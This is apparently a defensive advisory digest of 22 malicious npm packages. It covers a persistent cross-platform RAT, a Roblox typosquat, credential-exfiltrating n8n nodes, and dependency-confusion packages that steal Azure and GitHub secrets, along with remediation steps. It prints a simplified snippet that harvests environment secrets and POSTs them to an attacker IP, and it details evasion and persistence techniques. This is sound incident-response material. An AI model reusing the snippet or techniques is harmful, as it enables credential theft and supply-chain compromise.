GitHub Advisory malware sweep - 2026-09-14/15 (npm `pino-ulid` cross-platform persistent RAT typosquat, `noblox-asset.js` Roblox typosquat with TRLX.exe Windows binary, `n8n-nodes-sysdiag`/`sysdiag2` n8n community-node credential exfil, `concierge-sdk` dep-confusion with Azure IMDS + GITHUB_TOKEN theft, `@aiwfm/communitywfm.scripts.api` Cloudflare Workers env exfil, `get-power`/`postgreesqlhelper` get-proto base64+eval RCE)
GHSA 2026-09-14/15 (npm-only day): pino-ulid<=2.12.3 is a persistent multi-OS RAT typosquat impersonating pino+ulid; noblox-asset.js v7.4.0-7.4.2/7.6.0 impersonates the Roblox noblox.js API wrapper and drops the TRLX.exe Windows binary; n8n-nodes-sysdiag/sysdiag2 are n8n community-node credential exfilters; concierge-sdk@99.99.99+ is a dep-confusion probe that actually hits Azure IMDS and GITHUB_TOKEN; plus @aiwfm/communitywfm.scripts.api Cloudflare Workers env exfil and get-proto typosquat RCE loaders.
- Incident type
- Advisory sweep. A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
- Detected by
- GitHub Advisory Database · OpenSSF Package Analysis · OpenSSF malicious-packages · amazon-inspector
- Also known as
- 2026-09-15 GHSA npm sweep · pino-ulid cross-platform persistent RAT (MAL-2026-16154) · noblox-asset.js Roblox typosquat (MAL-2026-16148) · n8n-nodes-sysdiag n8n community-node credential exfil · concierge-sdk dep-confusion Azure IMDS + GITHUB_TOKEN theft · @aiwfm/communitywfm.scripts.api Cloudflare Workers env exfil · get-power / postgreesqlhelper get-proto impersonator RCE loaders · meeb322k Burp Collaborator recon beacon pair
- Ecosystems
- npm
- Packages tracked
- 22
What happened
Between roughly 2026-09-14 00:00 UTC and 2026-09-15 12:00 UTC, GitHub Advisory Database published 22 new npm malware advisories (no new PyPI, Rust, RubyGems, or Go advisories in the window). Unlike the surrounding week — which has been dominated by the 2026-09-openaii PyPI AI-SDK typosquat wave and the joko-* tea.xyz spam explosion — this batch is unusually payload-rich for a single day: six of the ten clusters below describe fully weaponised code (persistent RAT, Windows binary drop, credential exfil to hardcoded infrastructure, real Azure/GitHub cloud-credential theft, and get-proto typosquat RCE loaders), only four are the usual reconnaissance/beacon spam floor.
Cluster A - pino-ulid cross-platform persistent RAT typosquat
pino-ulid<=2.12.3 (GHSA-5qw6-rpv6-623h, MAL-2026-16154, discovered by Amazon Inspector) impersonates the popular pino structured logger and ulid ID library — the package homepage points at github.com/ulid/javascript, and ships a genuine ULID code path as cover for the malicious payload.
Detonation flow:
package.jsonpostinstall runsnode dist/node/utils.jsutils.jsspawnsdist/node/payload.jsdetached,stdio: "ignore",unref()'d- Payload gated by a minimum-CPU-count check (sandbox evasion) and a prior-install check across
schtasks/HKCU Run/launchd/systemd/autostart(avoids reinstalling itself) - Installs cross-platform boot persistence:
- Linux:
~/.config/systemd/user/pkg-agent.serviceand/or~/.config/autostart/pkg-agent.desktop - macOS:
~/Library/LaunchAgents/com.launchkeeper.pkg-agent.plist - Windows: Task Scheduler entry +
HKCU\Software\Microsoft\Windows\CurrentVersion\Runvaluepkg-agent
- 466 KB agent beacons to attacker-controlled C2 over WebSocket and accepts arbitrary command execution and file writes
This is a fully-formed RAT, not a reconnaissance probe. Amazon Inspector attributes it as part of a broader ongoing cross-platform typosquat campaign (the wider "800 malicious npm packages" story previously reported by The Hacker News on 2026-08-04 covers the same operator infrastructure). Treat any pino-ulid hit as a full host compromise: rotate everything the host reached, and remove persistence artefacts by name — pkg-agent / com.launchkeeper.pkg-agent are the identifiers.
Cluster B - noblox-asset.js Roblox noblox.js typosquat with Windows binary drop
noblox-asset.js@7.4.0/7.4.1/7.4.2/7.6.0 (GHSA-9pp6-m94w-8jhp, MAL-2026-16148) impersonates the legitimate noblox.js Roblox API wrapper, copying description, homepage, and repository metadata verbatim. This continues the Socket-documented Roblox-typosquat campaign that has been publishing noblox-* lookalikes since 2023.
Postinstall behaviour:
- Sandbox detection: rejects hosts booted <15 min ago, verifies parent process, checks for
x64dbg/ollydbg/ IDA - VM detection: scans registry entries + drivers from VirtualBox, VMware, QEMU, Xen, Parallels, Hyper-V
- Payload delivery (on non-virtualised, non-analysis hosts): downloads
TRLX.exefrom an external URL, executes detached from npm process for post-install persistence
Heavy obfuscation + nonsensical Chinese-character padding to deter analysis. Most likely a Roblox-developer-targeted infostealer or clipboard-hijacker, matching prior Roblox typosquat payloads. Because the binary is downloaded fresh at install time and unpinned, the same package can serve different payloads over time — the download URL is the durable IOC to block at egress.
Cluster C - n8n-nodes-sysdiag / n8n-nodes-sysdiag2 targeted n8n community-node credential exfilters
Two advisories flag matching n8n-targeting nodes:
n8n-nodes-sysdiag@1.0.0/1.0.1/1.0.2/1.0.3/1.0.4(GHSA-mfvv-xhj7-524c)n8n-nodes-sysdiag2@2.0.0(GHSA-mx46-3mx3-r66x, hashb77e4f76…7343a990)
n8n community nodes are third-party plugins that extend the n8n workflow-automation platform; users install them via npm install n8n-nodes-*. This attack is a targeted supply-chain hit against n8n operators, not a broad-spectrum npm spam entry.
Payload:
// simplified
for (const [k, v] of Object.entries(process.env)) {
if (/^(N8N|DB_|REDIS|QUEUE|EXECUT)/.test(k) || /KEY|SECR|PASS|ENCRYPT|PG/.test(k)) {
exfil[k] = v
}
}
fetch('https://121.127.33.228:443/api/v1/nodes/compat', {
method: 'POST',
body: Buffer.from(JSON.stringify(exfil)).toString('base64'),
})Hardcoded bare-IP C2 (no domain — no DNS to sinkhole), obfuscated HTTP transport module references, silent error handling, and comments misrepresenting the behaviour as "version compatibility" / "telemetry reporting" for defensive review of the source. The env-var pattern matches exactly what n8n uses for its database, Redis queue, encryption key, and external-service credentials — so a hit here loses the entire n8n secret set in one round-trip.
Cluster D - concierge-sdk dep-confusion with real Azure IMDS + GITHUB_TOKEN compromise
concierge-sdk@99.99.99/99.99.100/99.99.101 (GHSA-7gx4-hj9w-hx25) is presented as a classic dep-confusion probe at sentinel version 99.99.x, but the payload is not the usual DNS/HTTP beacon — it is real cloud-credential theft:
exfil_v2.jsruns from postinstall- Harvests
process.env, working-directory contents,.env,secrets.json - Curls Azure IMDS at
169.254.169.254to obtain a managed-identity access token forvault.azure.net - Uses that token to list Key Vault secrets
- Uses runner's
GITHUB_TOKENagainstapi.github.comto read repository secrets and Actions artifacts - POSTs everything to a hardcoded
webhook.siteendpoint - Companion
exfil.jsscript duplicates env-var exfil under UAcontinental-sdk/1.0
Any CI host on an Azure runner (self-hosted or GHA hosted) with a managed identity that could reach a Key Vault, and a GITHUB_TOKEN with secrets: read, will have been fully drained. The lesson: sentinel-version dep-confusion is not always "just a probe". Verify payload every time before deciding severity.
Cluster E - @aiwfm/communitywfm.scripts.api targeted enterprise dep-confusion with analysis evasion
@aiwfm/communitywfm.scripts.api@28.1.28 (GHSA-cj6r-j9c8-88qp) — the naming convention (dotted-suffix .scripts.api under a workforce-management scope, at a version like an internal build number 28.1.28) is a near-perfect match for a .NET-style internal enterprise package layout. Preinstall build.js:
- Assembles the hostname
dawn-salad-18c7.mikhail-nab.workers.devfrom split string fragments (defeats simple string-search scans of the source) - Base64-encodes the entire
process.env - POSTs to that Cloudflare Workers endpoint on install
- Analysis-evasion: blocks transmission on Chinese-mirror registries, proxy certificates, or sandbox paths — deliberate avoidance of security-analysis environments
Because developer and CI machines typically carry npm publish tokens, GITHUB_TOKEN, and cloud credentials as env vars, this is a bulk credential + env dump to attacker-controlled Cloudflare Workers infrastructure.
Cluster F - get-power / postgreesqlhelper npm get-proto (ljharb) impersonator RCE loaders
Two npm packages, same operator, same loader pattern:
get-power@1.0.3(GHSA-pjxw-c7p6-x2gq)postgreesqlhelper<=1.0.3(GHSA-87qj-rx96-4w66) — doubly typosquatspostgresqlandget-proto
Pattern:
index.jsdecodes two base64-encoded files disguised as.mapsource-map files- Writes them to temporary
.jsfiles,require()s them, deletes to cover tracks - Decoded loader fetches encrypted stage-2 blob via HTTPS from a public paste host
- Decrypts using hardcoded AES-256-CBC credentials
eval()s the plaintext
Whoever controls the paste has arbitrary code execution on any host that installs and loads the package. Same "impersonate a ljharb utility" pattern that has been used against has-*, safe-*, and object.* transitive dep names for years — this one specifically targets get-proto.
Cluster G - ultra-ws unpinned-tarball loader
ultra-ws@1.0.0 (GHSA-h35p-624w-rrp4) — package.json declares:
"dependencies": {
"node-net-pool": "https://github.com/<random-throwaway-account>/<...>/tarball/<mutable-branch>"
}npm fetches unverified bytes from an unpinned branch URL with no integrity hash. Postinstall requires the fetched module. The tarball owner can change the contents at any time without a version bump on ultra-ws itself, so a defender who examines the package at install time may see benign code, and a later install pull weaponised code. Class of attack: git-tarball-dependency loader.
Cluster H - os-info-meeb322k / strapi-plugin-os-info-meeb322k Burp Collaborator reconnaissance beacon pair
os-info-meeb322k@1.0.0(GHSA-5wwx-6p5f-p9vh)strapi-plugin-os-info-meeb322k@3.6.8(GHSA-3jh2-p873-gc7r)
Same operator (meeb322k suffix, identical Burp Collaborator subdomain vml73pdk3ft3t434ssjycv4khbn2btzi.oastify.com). Postinstall harvests hostname / platform / kernel release / uid+gid / network interface addresses / CPU+memory, base64-encodes, POSTs over unencrypted HTTP. The strapi-plugin-* name impersonates the legitimate strapi-plugin-os-info Strapi CMS plugin. No payload beyond the OOB beacon confirming install.
Cluster I - Install-time reconnaissance beacons and dep-confusion probes
Five advisories that beacon but do not (per published analysis) carry a payload beyond that:
| Package | Version | GHSA | Beacon endpoint | Note |
|---|---|---|---|---|
sql-limit-enforcer | 10.0.0 | GHSA-vjjr-9qv2-mh33 | webhook.site/13d98b4a-… | package.json points at non-existent index.js; payload in main.js |
web-main | 22.1.2 | GHSA-mq47-gfmg-59pp | smi54v4uvb9q7ve5t6fnyro16scj0co1.oastify.com | Burp Collaborator |
app-rrhh | 999.0.0 | GHSA-c9r8-qhjh-h69j | Burp Collaborator (username+hostname in URL) | dep-confusion at sentinel v999; "RRHH" = Spanish HR |
@merazmz/project-tracker | * | GHSA-x98w-cqq8-v3q2 | (CWE-506 boilerplate) | matched scoped+unscoped pair; likely dep-confusion probe |
meraz-project-tracker | * | GHSA-54v8-j59m-366h | (CWE-506 boilerplate) | matched pair with the above |
Cluster J - CWE-506 boilerplate takedowns (spam floor)
Six advisories are pure "any computer that has this package installed should be considered fully compromised" GHSA boilerplate with no IOCs beyond the takedown itself: @yggbrasil/api (scoped, plausibly dep-confusion), @gfe/lx-watcher (scoped, plausibly dep-confusion), expect-dotenv (reads as a dotenv typosquat), lpulogin, dilxztech, afhmxiewpsf@1.0.0-1.0.5 (random-name spam floor). Treated as medium pending payload analysis; ignore-scripts blocks any install-time behaviour they might carry.
Cross-operator patterns worth flagging
- Sentinel-version dep-confusion is not always "just a probe" — Cluster D
concierge-sdkat 99.99.x hits Azure IMDS +GITHUB_TOKENfor real. Verify payload every time before down-severity-ing a dep-confusion advisory. meeb322kandmikhail-nab.workers.devare the durable operator IDs across today's reconnaissance/exfil clusters. Block those substrings in your incident-response search rules.- Roblox typosquats are a recurring 2+ year campaign (Cluster B) — any Roblox-adjacent developer team should audit their npm resolution paths for
noblox-*lookalikes on every review, not just when GHSA publishes a new advisory. - n8n community nodes are a viable targeted-supply-chain vector (Cluster C) — organisations running n8n should curate an allowlist of trusted
n8n-nodes-*publishers rather than allowing bare-name npm resolution.
Registry state
All packages below are flagged as malware on npm and quarantined at the time of writing. pino-ulid and noblox-asset.js are the highest-priority hits because they leave persistent artefacts on-disk beyond simple package uninstall.
Discovery credits
GitHub Advisory Database, OpenSSF Package Analysis, OpenSSF malicious-packages, amazon-inspector. Per-package IOC details drawn verbatim from GHSA advisory bodies published between 2026-09-14 and 2026-09-15 UTC.
Affected packages (22)
- npm@aiwfm/communitywfm.scripts.api28.1.28
- npm@gfe/lx-watcher*
- npm@merazmz/project-tracker*
- npm@yggbrasil/api*
- npmafhmxiewpsf1.0.01.0.11.0.21.0.31.0.41.0.5
- npmapp-rrhh999.0.0
- npmconcierge-sdk99.99.9999.99.10099.99.101
- npmdilxztech*
- npmexpect-dotenv*
- npmget-power1.0.3
- npmlpulogin*
- npmmeraz-project-tracker*
- npmn8n-nodes-sysdiag1.0.01.0.11.0.21.0.31.0.4
- npmn8n-nodes-sysdiag22.0.0
- npmnoblox-asset.js7.4.07.4.17.4.27.6.0
- npmos-info-meeb322k1.0.0
- npmpino-ulid<=2.12.3
- npmpostgreesqlhelper<=1.0.3
- npmsql-limit-enforcer10.0.0
- npmstrapi-plugin-os-info-meeb322k3.6.8
- npmultra-ws1.0.0
- npmweb-main22.1.2
These are usually pulled in as transitive dependencies rather than installed directly. Check your whole tree at once - it runs in your browser and nothing is uploaded.
Impact
- Cluster A —
pino-ulidcross-platform persistent RAT typosquat (impersonatespino+ulid, sandbox evasion, WebSocket C2):pino-ulid<=2.12.3(GHSA-5qw6-rpv6-623h, MAL-2026-16154, discovered by Amazon Inspector) — installs a persistent remotely-controlled agent on any host that runsnpm install pino-ulid. Ships a genuine ULID code path as cover; thepackage.jsonpostinstall runsnode dist/node/utils.jswhich spawnsdist/node/payload.jsdetached with stdio ignored and unref'd, gated by a minimum CPU-count check (sandbox evasion) and a prior-install check againstschtasks/HKCU Run/launchd/systemd/autostart. Installs cross-platform boot persistence:~/.config/systemd/user/pkg-agent.serviceand/or~/.config/autostart/pkg-agent.desktopon Linux,~/Library/LaunchAgents/com.launchkeeper.pkg-agent.pliston macOS, and a Task Scheduler entry plusHKCU\Software\Microsoft\Windows\CurrentVersion\Runvaluepkg-agenton Windows. Agent (466 KB) beacons to attacker-controlled C2 over WebSocket and accepts arbitrary command execution and file writes - Cluster B —
noblox-asset.jsRobloxnoblox.jstyposquat (Windows binary payload, sandbox+VM evasion, TRLX.exe download):noblox-asset.js@7.4.0/7.4.1/7.4.2/7.6.0(GHSA-9pp6-m94w-8jhp, MAL-2026-16148) — impersonates the legitimate noblox.js Roblox API wrapper, copying description, homepage, and repository metadata. Postinstall performs sandbox detection (rejects hosts booted <15 min ago, checks parent process, checks forx64dbg/ollydbg/IDA), VM detection (VirtualBox/VMware/QEMU/Xen/Parallels/Hyper-V registry+driver scan), and — on non-virtualised hosts — downloads and executesTRLX.exefrom an external URL, detached from the npm process for persistence beyond install. Continues the multi-year Socket-documented Roblox-targeted npm campaign that has been repeatedly published under noblox lookalikes - Cluster C —
n8n-nodes-sysdiag/n8n-nodes-sysdiag2n8n community-node credential exfilters (targets n8n workflow automation):n8n-nodes-sysdiag@1.0.0/1.0.1/1.0.2/1.0.3/1.0.4(GHSA-mfvv-xhj7-524c) andn8n-nodes-sysdiag2@2.0.0(GHSA-mx46-3mx3-r66x, hashb77e4f76…7343a990) — masquerade as n8n health-check community nodes for the n8n workflow-automation platform. Enumeratesprocess.envfiltering for keys matchingN8N,DB_,REDIS,QUEUE,EXECUT, and anything containingKEY,SECR,PASS,ENCRYPT, orPG; base64-encodes selected values and POSTs to hardcoded bare-IP121.127.33.228:443/api/v1/nodes/compat. Obfuscated HTTP transport, silent error handling, and misleading "version compatibility" / "telemetry reporting" comments. Any n8n installation that added this node had its database password, Redis credentials, encryption keys, and cloud credentials stolen - Cluster D —
concierge-sdkdep-confusion at sentinel v99.99.99+ with real Azure IMDS +GITHUB_TOKENtheft (NOT just a beacon — full CI credential compromise):concierge-sdk@99.99.99/99.99.100/99.99.101(GHSA-7gx4-hj9w-hx25) — dependency-confusion at classic sentinel version, but unlike the usual beacon-only probes this one has a real payload. Postinstall runsexfil_v2.jswhich harvestsprocess.env, working-directory contents,.env, andsecrets.json; curls Azure Instance Metadata Service (169.254.169.254) to obtain a managed-identity access token forvault.azure.netand lists Key Vault secrets; uses runner'sGITHUB_TOKENagainstapi.github.comto read repository secrets and Actions artifacts. Companionexfil.jsduplicates env-var exfil under UAcontinental-sdk/1.0. Any CI host that resolvedconcierge-sdkat 99.99.x had its Azure Key Vault + GitHub repository secrets compromised — this warrants a full rotation, not just uninstall - Cluster E —
@aiwfm/communitywfm.scripts.apinpm dep-confusion (Cloudflare Workers env exfil, analysis-evasion filters):@aiwfm/communitywfm.scripts.api@28.1.28(GHSA-cj6r-j9c8-88qp). The.scripts.apidotted-suffix naming convention matches internal .NET-style enterprise package layouts, suggesting a targeted dep-confusion pick. Preinstallbuild.jsassembles the hostnamedawn-salad-18c7.mikhail-nab.workers.devfrom split string fragments, base64-encodes the entireprocess.env, and POSTs to the Cloudflare Workers endpoint on install. Includes evasion filters that block transmission on Chinese-mirror registries, proxy certificates, or sandbox paths — deliberate analysis-environment avoidance. Bulk credential + env-var exfil to attacker-controlled Cloudflare Workers - Cluster F —
get-power/postgreesqlhelpernpmget-proto(ljharb) impersonator RCE loaders (base64+eval, encrypted stage-2):get-power@1.0.3(GHSA-pjxw-c7p6-x2gq) andpostgreesqlhelper<=1.0.3(GHSA-87qj-rx96-4w66) — both npm packages impersonate ljharb/get-proto.index.jsdecodes two base64-encoded files disguised as source maps into executable JS, requires them, then deletes them to cover tracks. The decoded loader fetches an encrypted stage-2 blob via axios / HTTPS from a public paste host, decrypts with hardcoded AES-256-CBC credentials, andeval()s the plaintext — granting whoever controls the paste arbitrary code execution on any host that installs and loads the package.postgreesqlhelperdoubles as apostgresqlmisspelling - Cluster G —
ultra-wsnpm unpinned-tarball loader (throwaway GH account, integrity-free branch fetch):ultra-ws@1.0.0(GHSA-h35p-624w-rrp4) —package.jsondeclares dependency onnode-net-poolsourced from a tarball URL on a random third-party GitHub account (not the npm registry). npm fetches unverified bytes from an unpinned branch URL with no integrity check; postinstall requires the fetched module. Random throwaway-shaped account + mutable branch = arbitrary code execution at any time without a version bump. Same class as historical "tarball-dep from a fresh gist/branch" loaders that other researchers have flagged for years - Cluster H —
os-info-meeb322k/strapi-plugin-os-info-meeb322kBurp Collaborator reconnaissance beacon pair (same operator,strapi-plugin-os-infoimpersonation):os-info-meeb322k@1.0.0(GHSA-5wwx-6p5f-p9vh) andstrapi-plugin-os-info-meeb322k@3.6.8(GHSA-3jh2-p873-gc7r) — same operator (meeb322ksuffix, identical Burp Collaborator subdomainvml73pdk3ft3t434ssjycv4khbn2btzi.oastify.com). Postinstall harvests hostname / platform / kernel release / uid+gid / network interface addresses / CPU+memory, base64-encodes, POSTs over unencrypted HTTP. Thestrapi-plugin-*name impersonates the legitimatestrapi-plugin-os-infoStrapi CMS plugin. No payload beyond the OOB beacon confirming install — treat as reconnaissance probes - Cluster I — Install-time reconnaissance beacons and dep-confusion probes (no payload beyond Burp/webhook.site beacon):
sql-limit-enforcer@10.0.0(GHSA-vjjr-9qv2-mh33) — hostname/user/os towebhook.site/13d98b4a-1999-4ec7-92c9-0697c259ca05, package.json points at non-existentindex.jswhile payload lives inmain.js;web-main@22.1.2(GHSA-mq47-gfmg-59pp) —whoami/id/pwdoutput tosmi54v4uvb9q7ve5t6fnyro16scj0co1.oastify.com/system-infoBurp Collaborator;app-rrhh@999.0.0(GHSA-c9r8-qhjh-h69j) — dep-confusion at sentinel v999, curl to Burp Collaborator subdomain with username+hostname in URL path (RRHH is Spanish for HR — probably an internal HR-app namespace squat);@merazmz/project-tracker+meraz-project-tracker(GHSA-x98w-cqq8-v3q2, GHSA-54v8-j59m-366h) — matched scoped+unscoped pair, standard CWE-506 boilerplate takedowns, most plausibly a dep-confusion probe pair for an internalproject-trackername - Cluster J — CWE-506 boilerplate takedowns with no published payload analysis (spam floor):
@yggbrasil/api(GHSA-cmxv-8vgc-m43c),@gfe/lx-watcher(GHSA-wg37-hw83-hqwf),expect-dotenv(GHSA-h7q6-7chv-cgh2),lpulogin(GHSA-5823-3hg3-27v8),dilxztech(GHSA-5wh2-j94m-rwpf),afhmxiewpsf@1.0.0-1.0.5(GHSA-59f6-ch49-395j) — all standard "any computer that has this package installed should be considered fully compromised" GHSA boilerplate with no IOCs beyond the takedown itself.@yggbrasil/apiand@gfe/lx-watcherare scoped so most likely dep-confusion probes;expect-dotenvreads as adotenvtyposquat;afhmxiewpsfanddilxztechare random-name spam floor. Treat asmediumpending payload analysis
What to do
- 1Grep every
package-lock.json,yarn.lock,pnpm-lock.yaml,package.json, and any n8n custom-node config in your org for the specific package names in Clusters A-F. Uninstall on hit, wipenode_modules, delete the lockfile, rebuild against a clean cache, and rotate every credential the affected host could have touched. Clusters A-F each involve real payloads beyond beacons — a hit is a compromise, not a warning - 2For Cluster A
pino-ulid: any host that rannpm install pino-ulidat<=2.12.3is running a persistent multi-OS RAT with WebSocket C2. Rotate everything reachable from the host and remove persistence by hand:~/.config/systemd/user/pkg-agent.service,~/.config/autostart/pkg-agent.desktop,~/Library/LaunchAgents/com.launchkeeper.pkg-agent.plist, Task Scheduler taskpkg-agent, and theHKCU\Software\Microsoft\Windows\CurrentVersion\Runvaluepkg-agent. Pin the realpinoandulidexplicitly inpackage.json; addpino-ulidto your internal-mirror denylist.--ignore-scriptsblocks initial install-time detonation but not subsequent import-time triggers if the code has already been pulled onto disk - 3For Cluster B
noblox-asset.js: hosts (typically Windows dev workstations) that rannpm install noblox-asset.jsat v7.4.x/7.6.0 downloaded and executedTRLX.exe. Reimage or run a full AV/EDR sweep — the binary is unpinned and persists detached from npm. Pin the realnoblox.js(dot, no-asset) explicitly. Addnoblox-asset.jsand othernoblox-*combosquats to your internal-mirror denylist. Any Roblox-adjacent developer team should treat this as recurring: the Socket-documented Roblox typosquat campaign has been running since 2023 - 4For Cluster C
n8n-nodes-sysdiag/sysdiag2: any n8n installation with these community nodes exfiltrated its full n8n secret set (database password, Redis, encryption key, cloud creds) to121.127.33.228:443. Rotate everyN8N_*,DB_*,REDIS*,QUEUE*,EXECUT*env var and anything matching*KEY*/*SECR*/*PASS*/*ENCRYPT*/*PG*on the affected host. Curate an allowlist of trusted n8n community node publishers rather than allowing baren8n-nodes-*names from arbitrary npm publishers. Block121.127.33.228at egress - 5For Cluster D
concierge-sdk: any CI host that resolvedconcierge-sdk@99.99.xhad its Azure Key Vault secrets and GitHub repository secrets read out. Rotate ALL Azure Key Vault entries the runner's managed identity could reach, ALL GitHub repository secrets and Actions secrets, and everysecrets.json/.envon the runner. Set--index-urlexplicitly to your internal mirror in every CIpip config/npm configinvocation, and audit runners for any past install of a sentinel-version package. Sentinel-version dep-confusion is not always "just a beacon" — verify payload every time - 6For Cluster E
@aiwfm/communitywfm.scripts.api: any host that installed this package sent itsprocess.env(including npm/registry tokens, GitHub OIDC exchange creds, cloud creds) todawn-salad-18c7.mikhail-nab.workers.dev. Rotate every secret the affected host had access to. Ensure your.npmrcpins the@aiwfmscope (and every internal WFM/scheduling-namespace scope) to your internal registry — dotted-suffix names like.scripts.apiare almost always internal .NET-style enterprise namespaces that should never resolve on public npm - 7For Cluster F
get-powerandpostgreesqlhelper: any process that loaded these packages ran attacker-controlled JS from a public paste host. Rotate everything on the affected host, then pin the realget-proto(ljharb/es-shims) explicitly; addget-powerandpostgreesqlhelperto internal deny-lists. Treat any generic-sounding "helper" or "power" npm name suspiciously — the "impersonate a widely-installed transitive util" pattern is a commonget-proto/safe-*/has-*typosquat vector - 8For Cluster G
ultra-ws: block npm install of any package whosedependenciesinclude a baregithub:or tarball URL from a non-org account at your CI/private-registry layer. If any of your own packages accepted a tarball-URL dependency in a PR review recently, audit that PR for the same throwaway-account pattern - 9For Clusters H-J (reconnaissance beacons and CWE-506 boilerplate): uninstall on hit, rotate
.envvalues (env vars in CI usually leak in beacons like these), and no host-forensics response is required beyond routine credential-rotation prudence — these are lower-severity probes with no confirmed post-install payload.--ignore-scriptsonnpm ciblocks all Cluster H-I install-time payloads - 10For every
npm installin CI, prefer--ignore-scriptsor an equivalent lockfile-consumer mode that blocks pre/post-install hooks. This blocks Clusters C-J entirely but does NOT block Clusters A/B (both re-detonate on import/runtime, or in the Cluster B case rely on the postinstall already having run once) - 11Add every specific name below to internal private-registry deny-lists for at least 30 days to prevent re-uploads by rotating operators. Extend your existing
@aiwfm/@yggbrasil/@gfe/@merazmzscope pins to block any scope that appears in a CWE-506 GHSA advisory even without published payload analysis — dep-confusion probes routinely re-upload under fresh scopes
References
- GitHubGitHub Advisory Database - recent malware advisoriesgithub.com
- GitHubGHSA-5qw6-rpv6-623h - pino-ulid (Cluster A - cross-platform persistent RAT typosquat of pino+ulid)github.com
- OSV / OpenSSFMAL-2026-16154 - pino-ulid (OSV / OpenSSF malicious-packages)vulners.com
- GitHubGHSA-9pp6-m94w-8jhp - noblox-asset.js (Cluster B - Roblox noblox.js typosquat, TRLX.exe drop)github.com
- SocketSocket: Malicious npm Package Masquerades as Noblox.js, Targeting Roblox Users for Data Theft (background on Roblox typosquat campaign)socket.dev
- GitHubGHSA-mfvv-xhj7-524c - n8n-nodes-sysdiag (Cluster C - n8n community-node credential exfil)github.com
- GitHubGHSA-mx46-3mx3-r66x - n8n-nodes-sysdiag2 (Cluster C)github.com
- GitHubGHSA-7gx4-hj9w-hx25 - concierge-sdk (Cluster D - dep-confusion at v99.99.x, Azure IMDS + GITHUB_TOKEN theft)github.com
- GitHubGHSA-cj6r-j9c8-88qp - @aiwfm/communitywfm.scripts.api (Cluster E - enterprise dep-confusion, Cloudflare Workers env exfil)github.com
- GitHubGHSA-pjxw-c7p6-x2gq - get-power (Cluster F - get-proto impersonator RCE loader)github.com
- GitHubGHSA-87qj-rx96-4w66 - postgreesqlhelper (Cluster F - get-proto impersonator + postgresql typosquat)github.com
- GitHubGHSA-h35p-624w-rrp4 - ultra-ws (Cluster G - unpinned-tarball loader from throwaway GH account)github.com
- GitHubGHSA-5wwx-6p5f-p9vh - os-info-meeb322k (Cluster H - Burp Collaborator recon beacon)github.com
- GitHubGHSA-3jh2-p873-gc7r - strapi-plugin-os-info-meeb322k (Cluster H - strapi-plugin-os-info impersonator)github.com
- GitHubGHSA-vjjr-9qv2-mh33 - sql-limit-enforcer (Cluster I - install-time recon beacon)github.com
- GitHubGHSA-mq47-gfmg-59pp - web-main (Cluster I - Burp Collaborator recon beacon)github.com
- GitHubGHSA-c9r8-qhjh-h69j - app-rrhh (Cluster I - dep-confusion probe at v999.0.0)github.com
- GitHubGHSA-x98w-cqq8-v3q2 - @merazmz/project-tracker (Cluster I - matched scoped+unscoped dep-confusion pair)github.com
- GitHubGHSA-54v8-j59m-366h - meraz-project-tracker (Cluster I)github.com
- GitHubGHSA-cmxv-8vgc-m43c - @yggbrasil/api (Cluster J - scoped CWE-506 boilerplate)github.com
- GitHubGHSA-wg37-hw83-hqwf - @gfe/lx-watcher (Cluster J)github.com
- GitHubGHSA-h7q6-7chv-cgh2 - expect-dotenv (Cluster J - dotenv typosquat, CWE-506)github.com
- GitHubGHSA-5823-3hg3-27v8 - lpulogin (Cluster J)github.com
- GitHubGHSA-5wh2-j94m-rwpf - dilxztech (Cluster J)github.com
- GitHubGHSA-59f6-ch49-395j - afhmxiewpsf (Cluster J - random-name spam floor)github.com
- OpenSSFOpenSSF malicious-packages repositorygithub.com